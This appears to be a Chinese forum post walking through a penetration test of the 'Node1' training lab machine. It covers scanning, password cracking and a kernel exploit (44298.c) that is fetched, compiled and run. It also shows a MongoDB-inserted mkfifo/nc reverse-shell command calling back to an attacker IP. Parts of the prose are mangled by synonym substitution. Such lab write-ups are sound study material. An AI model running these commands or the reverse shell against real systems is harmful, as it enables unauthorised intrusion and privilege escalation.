Node1靶机通过教学

[复制链接]
发表于 2025-10-5 09:13:34 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
一、主机发现
  1. arp-scan -l
复制代码

得到靶机ip为192.168.55.152
二、端口扫描、目次罗列、弊端扫描、指纹辨认

2.1端口扫描
  1. nmap --min-rate 10000 -p- 192.168.55.152
复制代码

发现开放了3000端口,竟然没有开放80端口
扫描UDP端口
  1. nmap -sU --min-rate 10000 -p- 192.168.55.152
复制代码

发现不存在UDP端口
2.2目次罗列
  1. dirb http://192.168.55.152:3000
复制代码

没有别的信息,只能通过靶机网站举行信息网络了
2.3弊端扫描
  1. nmap --script=vuln -p22,3000 192.168.55.152
复制代码
没有弊端信息
2.4指纹辨认
  1. nmap 192.168.55.152 -sV -sC -O --version-all
复制代码

三、进入靶机网页举行信息网络,拿到低权限shell

进入靶机页面举行信息网络


发现了登录框,实验了SQL注入,发现不太行


只悦目看网页的源代码了


发现这几个js代码的下令像提示
实验打开看看,在这个js文件中找到了信息


继承拼接访问


找到了加密后的暗码,去举行md5解密


实验登岸tom用户


发现只有admin才气登岸,而刚刚的js文件都不是admin,只能继承探求别的js文件


乐成找到admin用户


破解暗码即可
  1. myP14ceAdm1nAcc0uNT
  2. manchester
复制代码
乐成登岸,然后发现可以下载文件


利用cat下令检察后发现是base64编码后的文件,先举行解码
  1.  cat myplace.backup | base64 -d >5.txt
复制代码

发现这个文件是zip文件,解压必要暗码
爆破压缩暗码
  1. fcrackzip -u -D -p rockyou.txt 5.zip 
  2. 命令解释:
  3. -D 指定方式为字典猜解
  4. -p 指定猜解字典的路径
  5. -u 表示只显示破解出来的密码,其他错误的密码不显示出
复制代码

乐成爆破出来暗码:magicword
检察一下app.js文件,乐成找到mark用户账号暗码

  1. mark
  2. 5AYRft73VtFpc84k
复制代码

乐成登岸!
四、提权

4.1靶机信息网络


发现该用户没有sudo权限,没有定时任务,只好实验在靶机内举行信息网络
4.2exp提权

实验符合靶机版本的exp
  1. searchsploit Ubuntu 16.04 privilege     # 搜索符合靶机版本的提权漏洞
复制代码

经实验发现44298.c可以
  1. cd tmp
  2. http://192.168.55.132/44298.c
  3. gcc -o 44298 44298.c 
  4. ./44298
复制代码

乐成提权!
4.3登岸tom用户

刚刚得到mark账号暗码时,发现是毗连了Mongodb数据库,实验利用markidentity举行登岸
  1. mongo -u mark -p 5AYRft73VtFpc84k scheduler
复制代码
  1. show collections    #查看数据库中的集合(类似于mysql中的表)
  2. db.tasks.find({})     #查询tasks中的所有文件
复制代码
发现内里没有文档,我们可以实验在此中插入文档举行反弹shell
  1. db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.55.132 8888 >/tmp/f"})
复制代码

乐成登岸tom用户
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表